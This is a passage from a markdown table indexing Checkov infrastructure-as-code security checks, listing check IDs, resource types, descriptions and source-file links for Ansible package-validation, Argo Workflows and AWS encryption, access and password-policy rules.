| resource | [].tasks[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 86 | CKV_ANSIBLE_3 | resource | [].tasks[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 87 | CKV_ANSIBLE_3 | resource | [].tasks[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 88 | CKV_ANSIBLE_3 | resource | [].tasks[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 89 | CKV_ANSIBLE_3 | resource | [].tasks[].block[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 90 | CKV_ANSIBLE_3 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 91 | CKV_ANSIBLE_3 | resource | [].tasks[].block[].block[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 92 | CKV_ANSIBLE_4 | resource | [?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 93 | CKV_ANSIBLE_4 | resource | [?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 94 | CKV_ANSIBLE_4 | resource | [].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 95 | CKV_ANSIBLE_4 | resource | [].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 96 | CKV_ANSIBLE_4 | resource | [].block[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 97 | CKV_ANSIBLE_4 | resource | [].block[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 98 | CKV_ANSIBLE_4 | resource | [].block[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 99 | CKV_ANSIBLE_4 | resource | [].block[].block[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 100 | CKV_ANSIBLE_4 | resource | [].tasks[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 101 | CKV_ANSIBLE_4 | resource | [].tasks[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 102 | CKV_ANSIBLE_4 | resource | [].tasks[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 103 | CKV_ANSIBLE_4 | resource | [].tasks[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 104 | CKV_ANSIBLE_4 | resource | [].tasks[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 105 | CKV_ANSIBLE_4 | resource | [].tasks[].block[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 106 | CKV_ANSIBLE_4 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 107 | CKV_ANSIBLE_4 | resource | [].tasks[].block[].block[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 108 | CKV_ANSIBLE_5 | resource | [?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 109 | CKV_ANSIBLE_5 | resource | [?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 110 | CKV_ANSIBLE_5 | resource | [].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 111 | CKV_ANSIBLE_5 | resource | [].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 112 | CKV_ANSIBLE_5 | resource | [].block[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 113 | CKV_ANSIBLE_5 | resource | [].block[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 114 | CKV_ANSIBLE_5 | resource | [].block[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 115 | CKV_ANSIBLE_5 | resource | [].block[].block[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 116 | CKV_ANSIBLE_5 | resource | [].tasks[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 117 | CKV_ANSIBLE_5 | resource | [].tasks[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 118 | CKV_ANSIBLE_5 | resource | [].tasks[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 119 | CKV_ANSIBLE_5 | resource | [].tasks[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 120 | CKV_ANSIBLE_5 | resource | [].tasks[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 121 | CKV_ANSIBLE_5 | resource | [].tasks[].block[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 122 | CKV_ANSIBLE_5 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 123 | CKV_ANSIBLE_5 | resource | [].tasks[].block[].block[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 124 | CKV_ANSIBLE_6 | resource | [?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 125 | CKV_ANSIBLE_6 | resource | [?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 126 | CKV_ANSIBLE_6 | resource | [].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 127 | CKV_ANSIBLE_6 | resource | [].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 128 | CKV_ANSIBLE_6 | resource | [].block[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 129 | CKV_ANSIBLE_6 | resource | [].block[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 130 | CKV_ANSIBLE_6 | resource | [].block[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 131 | CKV_ANSIBLE_6 | resource | [].block[].block[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 132 | CKV_ANSIBLE_6 | resource | [].tasks[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 133 | CKV_ANSIBLE_6 | resource | [].tasks[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 134 | CKV_ANSIBLE_6 | resource | [].tasks[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 135 | CKV_ANSIBLE_6 | resource | [].tasks[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 136 | CKV_ANSIBLE_6 | resource | [].tasks[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 137 | CKV_ANSIBLE_6 | resource | [].tasks[].block[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 138 | CKV_ANSIBLE_6 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 139 | CKV_ANSIBLE_6 | resource | [].tasks[].block[].block[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 140 | CKV2_ANSIBLE_1 | resource | tasks.ansible.builtin.uri | Ensure that HTTPS url is used with uri | Ansible | [UriHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml) | | 141 | CKV2_ANSIBLE_1 | resource | tasks.uri | Ensure that HTTPS url is used with uri | Ansible | [UriHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml) | | 142 | CKV2_ANSIBLE_2 | resource | tasks.ansible.builtin.get_url | Ensure that HTTPS url is used with get_url | Ansible | [GetUrlHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml) | | 143 | CKV2_ANSIBLE_2 | resource | tasks.get_url | Ensure that HTTPS url is used with get_url | Ansible | [GetUrlHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml) | | 144 | CKV2_ANSIBLE_3 | resource | block | Ensure block is handling task errors properly | Ansible | [BlockErrorHandling.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/BlockErrorHandling.yaml) | | 145 | CKV2_ANSIBLE_4 | resource | tasks.ansible.builtin.dnf | Ensure that packages with untrusted or missing GPG signatures are not used by dnf | Ansible | [DnfDisableGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml) | | 146 | CKV2_ANSIBLE_4 | resource | tasks.dnf | Ensure that packages with untrusted or missing GPG signatures are not used by dnf | Ansible | [DnfDisableGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml) | | 147 | CKV2_ANSIBLE_5 | resource | tasks.ansible.builtin.dnf | Ensure that SSL validation isn't disabled with dnf | Ansible | [DnfSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfSslVerify.yaml) | | 148 | CKV2_ANSIBLE_5 | resource | tasks.dnf | Ensure that SSL validation isn't disabled with dnf | Ansible | [DnfSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfSslVerify.yaml) | | 149 | CKV2_ANSIBLE_6 | resource | tasks.ansible.builtin.dnf | Ensure that certificate validation isn't disabled with dnf | Ansible | [DnfValidateCerts.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml) | | 150 | CKV2_ANSIBLE_6 | resource | tasks.dnf | Ensure that certificate validation isn't disabled with dnf | Ansible | [DnfValidateCerts.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml) | | 151 | CKV_ARGO_1 | argo_workflows | spec | Ensure Workflow pods are not using the default ServiceAccount | Argo Workflows | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/argo_workflows/checks/template/DefaultServiceAccount.py) | | 152 | CKV_ARGO_2 | argo_workflows | spec | Ensure Workflow pods are running as non-root user | Argo Workflows | [RunAsNonRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/argo_workflows/checks/template/RunAsNonRoot.py) | | 153 | CKV_AWS_1 | data | aws_iam_policy_document | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/AdminPolicyDocument.py) | | 154 | CKV_AWS_1 | resource | serverless_aws | Ensure IAM policies that allow full "*-*" administrative privileges are not created | serverless | [AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/AdminPolicyDocument.py) | | 155 | CKV_AWS_2 | resource | AWS::ElasticLoadBalancingV2::Listener | Ensure ALB protocol is HTTPS | Cloudformation | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerHTTPS.py) | | 156 | CKV_AWS_2 | resource | aws_alb_listener | Ensure ALB protocol is HTTPS | Terraform | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py) | | 157 | CKV_AWS_2 | resource | aws_lb_listener | Ensure ALB protocol is HTTPS | Terraform | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py) | | 158 | CKV_AWS_3 | resource | AWS::EC2::Volume | Ensure all data stored in the EBS is securely encrypted | Cloudformation | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EBSEncryption.py) | | 159 | CKV_AWS_3 | resource | aws_ebs_volume | Ensure all data stored in the EBS is securely encrypted | Terraform | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSEncryption.py) | | 160 | CKV_AWS_5 | resource | AWS::Elasticsearch::Domain | Ensure all data stored in the Elasticsearch is securely encrypted at rest | Cloudformation | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchEncryption.py) | | 161 | CKV_AWS_5 | resource | aws_elasticsearch_domain | Ensure all data stored in the Elasticsearch is securely encrypted at rest | Terraform | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py) | | 162 | CKV_AWS_5 | resource | aws_opensearch_domain | Ensure all data stored in the Elasticsearch is securely encrypted at rest | Terraform | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py) | | 163 | CKV_AWS_6 | resource | AWS::Elasticsearch::Domain | Ensure all Elasticsearch has node-to-node encryption enabled | Cloudformation | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py) | | 164 | CKV_AWS_6 | resource | aws_elasticsearch_domain | Ensure all Elasticsearch has node-to-node encryption enabled | Terraform | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py) | | 165 | CKV_AWS_6 | resource | aws_opensearch_domain | Ensure all Elasticsearch has node-to-node encryption enabled | Terraform | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py) | | 166 | CKV_AWS_7 | resource | AWS::KMS::Key | Ensure rotation for customer created CMKs is enabled | Cloudformation | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSRotation.py) | | 167 | CKV_AWS_7 | resource | aws_kms_key | Ensure rotation for customer created CMKs is enabled | Terraform | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSRotation.py) | | 168 | CKV_AWS_8 | resource | AWS::AutoScaling::LaunchConfiguration | Ensure all data stored in the Launch configuration EBS is securely encrypted | Cloudformation | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LaunchConfigurationEBSEncryption.py) | | 169 | CKV_AWS_8 | resource | aws_instance | Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted | Terraform | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py) | | 170 | CKV_AWS_8 | resource | aws_launch_configuration | Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted | Terraform | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py) | | 171 | CKV_AWS_9 | resource | aws_iam_account_password_policy | Ensure IAM password policy expires passwords within 90 days or less | Terraform | [PasswordPolicyExpiration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyExpiration.py) | | 172 | CKV_AWS_10 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires minimum length of 14 or greater | Terraform | [PasswordPolicyLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyLength.py) | | 173 | CKV_AWS_11 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires at least one lowercase letter | Terraform | [PasswordPolicyLowercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyLowercaseLetter.py) | | 174 | CKV_AWS_12 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires at least one number | Terraform | [PasswordPolicyNumber.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyNumber.py) | | 175 | CKV_AWS_13 | resource | aws_iam_account_password_policy | Ensure IAM password policy prevents password reuse | Terraform | [PasswordPolicyReuse.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyReuse.py) | | 176 | CKV_AWS_14 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires at least one symbol | Terraform | [PasswordPolicySymbol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicySymbol.py) | | 177 | CKV_AWS_15 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires at least one uppercase letter | Terraform | [PasswordPolicyUppercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyUppercaseLetter.py) | | 178 | CKV_AWS_16 | resource | AWS::RDS::DBInstance | Ensure all data stored in the RDS is securely encrypted at rest | Cloudformation | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEncryption.py) | | 179 | CKV_AWS_16 | resource | aws_db_instance | Ensure all data stored in the RDS is securely encrypted at rest | Terraform | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEncryption.py) | | 180 | CKV_AWS_17 | resource | AWS::RDS::DBInstance | Ensure all data stored in RDS is not publicly accessible | Cloudformation | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSPubliclyAccessible.py) | | 181 | CKV_AWS_17 | resource | aws_db_instance | Ensure all data stored in RDS is not publicly accessible | Terraform | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py) | | 182 | CKV_AWS_17 | resource | aws_rds_cluster_instance | Ensure all data stored in RDS is not publicly accessible | Terraform | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py) | | 183 | CKV_AWS_18 | resource | AWS::S3::Bucket | Ensure the S3 bucket has access logging enabled | Cloudformation | [S3AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3AccessLogs.py) | | 184 | CKV_AWS_18 | resource | aws_s3_bucket | Ensure the S3 bucket has access logging enabled | Terraform | [S3BucketLogging.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketLogging.yaml) | | 185 | CKV_AWS_19 | resource | AWS::S3::Bucket | Ensure the S3 bucket has server-side-encryption enabled | Cloudformation | [S3Encryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Encryption.py) | | 186 | CKV_AWS_19 | resource | aws_s3_bucket | Ensure all data stored in the S3 bucket is securely encrypted at rest | Terraform | [S3BucketEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml) | | 187 | CKV_AWS_19 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure all data stored in the S3 bucket is securely encrypted at rest | Terraform | [S3BucketEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml) | | 188 | CKV_AWS_20 | resource | AWS::S3::Bucket | Ensure the S3 bucket does not allow READ permissions to everyone | Cloudformation | [S3PublicACLRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLRead.py) | | 189 | CKV_AWS_20 | resource | aws_s3_bucket | S3 Bucket has an ACL defined which allows public READ access. | Terraform | [S3PublicACLRead.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml) | | 190 | CKV_AWS_20 | resource | aws_s3_bucket_acl | S3 Bucket has an ACL defined which allows public READ access. | Terraform | [S3PublicACLRead.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml) | | 191 | CKV_AWS_21 | resource | AWS::S3::Bucket | Ensure the S3 bucket has versioning enabled | Cloudformation | [S3Versioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Versioning.py) | | 192 | CKV_AWS_21 | resource | aws_s3_bucket | Ensure all data stored in the S3 bucket have versioning enabled | Terraform | [S3BucketVersioning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml) | | 193 | CKV_AWS_21 | resource | aws_s3_bucket_versioning | Ensure all data stored in the S3 bucket have versioning enabled | Terraform | [S3BucketVersioning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml) | | 194 | CKV_AWS_22 | resource | aws_sagemaker_notebook_instance | Ensure SageMaker Notebook 